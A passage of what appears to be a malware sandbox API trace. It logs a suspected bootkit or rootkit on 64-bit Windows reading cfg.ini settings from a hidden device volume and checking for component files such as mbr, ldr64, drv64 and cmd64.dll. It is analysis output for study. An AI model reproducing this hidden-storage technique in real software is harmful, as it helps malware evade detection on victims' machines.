Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.246] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.246] IdePortDispatch () returned 0x103 [0125.246] KeWaitForMutexObject () returned 0x0 [0125.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.247] KeLeaveCriticalRegion () [0125.247] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.247] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.247] KeEnterCriticalRegion () [0125.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.247] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfc000 [0125.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.247] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.247] IdePortDispatch () returned 0x103 [0125.247] KeWaitForMutexObject () returned 0x0 [0125.247] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.247] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.247] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.247] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.247] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.247] IdePortDispatch () returned 0x103 [0125.247] KeWaitForMutexObject () returned 0x0 [0125.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.247] KeLeaveCriticalRegion () [0125.247] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.248] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.248] KeEnterCriticalRegion () [0125.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.248] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.248] KeLeaveCriticalRegion () [0125.248] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.248] KeEnterCriticalRegion () [0125.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.248] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.248] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6510, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.248] KeLeaveCriticalRegion () [0125.248] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.248] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.248] KeEnterCriticalRegion () [0125.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.248] ExFreePoolWithTag (P=0xfffffa8003bf6450, Tag=0x0) [0125.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.248] KeLeaveCriticalRegion () [0125.248] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.248] ReleaseMutex (hMutex=0xf0) returned 1 [0125.248] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.248] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0125.248] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.248] KeEnterCriticalRegion () [0125.248] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.248] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.248] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.248] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.248] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.248] IdePortDispatch () returned 0x103 [0125.249] KeWaitForMutexObject () returned 0x0 [0125.249] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.249] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.249] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.249] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.249] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.249] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6d10 [0125.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.249] KeLeaveCriticalRegion () [0125.249] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.249] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.249] KeEnterCriticalRegion () [0125.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.249] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.249] KeLeaveCriticalRegion () [0125.249] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.249] KeEnterCriticalRegion () [0125.249] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.249] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.249] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.249] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.249] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.249] IdePortDispatch () returned 0x103 [0125.249] KeWaitForMutexObject () returned 0x0 [0125.249] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.249] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.249] KeLeaveCriticalRegion () [0125.249] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.250] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.250] KeEnterCriticalRegion () [0125.250] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.250] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfd000 [0125.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.250] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.250] IdePortDispatch () returned 0x103 [0125.250] KeWaitForMutexObject () returned 0x0 [0125.250] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.250] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.250] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.250] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.250] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.250] IdePortDispatch () returned 0x103 [0125.250] KeWaitForMutexObject () returned 0x0 [0125.250] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.250] KeLeaveCriticalRegion () [0125.250] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.251] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.251] KeEnterCriticalRegion () [0125.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.251] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.251] KeLeaveCriticalRegion () [0125.251] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.251] KeEnterCriticalRegion () [0125.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.251] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.251] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf6f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.251] KeLeaveCriticalRegion () [0125.251] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.251] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.251] KeEnterCriticalRegion () [0125.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.251] ExFreePoolWithTag (P=0xfffffa8003bf6d10, Tag=0x0) [0125.251] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.251] KeLeaveCriticalRegion () [0125.251] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.251] ReleaseMutex (hMutex=0xf0) returned 1 [0125.251] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0125.251] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0125.251] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.251] KeEnterCriticalRegion () [0125.251] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.251] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.251] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.251] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.251] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.251] IdePortDispatch () returned 0x103 [0125.252] KeWaitForMutexObject () returned 0x0 [0125.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.252] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.252] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0125.252] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0125.252] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0125.252] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf6650 [0125.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.252] KeLeaveCriticalRegion () [0125.252] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.252] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.252] KeEnterCriticalRegion () [0125.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.252] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.252] KeLeaveCriticalRegion () [0125.252] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.252] KeEnterCriticalRegion () [0125.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.252] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.252] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.252] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0125.252] IdePortDispatch () returned 0x103 [0125.252] KeWaitForMutexObject () returned 0x0 [0125.252] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.252] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.252] KeLeaveCriticalRegion () [0125.252] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.252] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.252] KeEnterCriticalRegion () [0125.252] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.252] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bfe000 [0125.252] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.253] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.253] IdePortDispatch () returned 0x103 [0125.253] KeWaitForMutexObject () returned 0x0 [0125.253] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0125.253] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.253] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0125.253] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0125.253] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0125.253] IdePortDispatch () returned 0x103 [0125.253] KeWaitForMutexObject () returned 0x0 [0125.253] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.253] KeLeaveCriticalRegion () [0125.253] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.254] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.254] KeEnterCriticalRegion () [0125.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.254] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0125.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.254] KeLeaveCriticalRegion () [0125.254] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.254] KeEnterCriticalRegion () [0125.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.254] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0125.254] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf4410, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0125.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.254] KeLeaveCriticalRegion () [0125.254] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.254] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0125.254] KeEnterCriticalRegion () [0125.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.254] ExFreePoolWithTag (P=0xfffffa8003bf6650, Tag=0x0) [0125.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.254] KeLeaveCriticalRegion () [0125.254] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.254] ReleaseMutex (hMutex=0xf0) returned 1 [0125.254] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0125.254] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0125.254] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0125.254] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.254] KeEnterCriticalRegion () [0125.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.254] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.254] IdePortDispatch () returned 0x103 [0125.254] KeWaitForMutexObject () returned 0x0 [0125.254] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.255] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.255] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.255] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.255] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.255] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.255] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.255] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.255] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.255] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.255] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.255] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.255] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.255] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.255] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.255] KeLeaveCriticalRegion () [0125.255] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.255] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0125.255] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0125.255] KeEnterCriticalRegion () [0125.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0125.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0125.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0125.255] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0125.255] IdePortDispatch () returned 0x103 [0125.255] KeWaitForMutexObject () returned 0x0 [0125.255] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.255] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0125.255] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.255] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.255] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0125.255] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.255] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0125.255] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.255] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0125.255] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0125.255] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.255] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.255] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.255] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.255] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0125.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0125.256] KeLeaveCriticalRegion () [0125.256] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0125.256] ReleaseMutex (hMutex=0x100) returned 1 [0125.256] Sleep (dwMilliseconds=0x2bf20) [0125.262] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ddc7910, dwHighDateTime=0x1d24fa4)) [0125.262] RtlTimeToSecondsSince1970 (in: 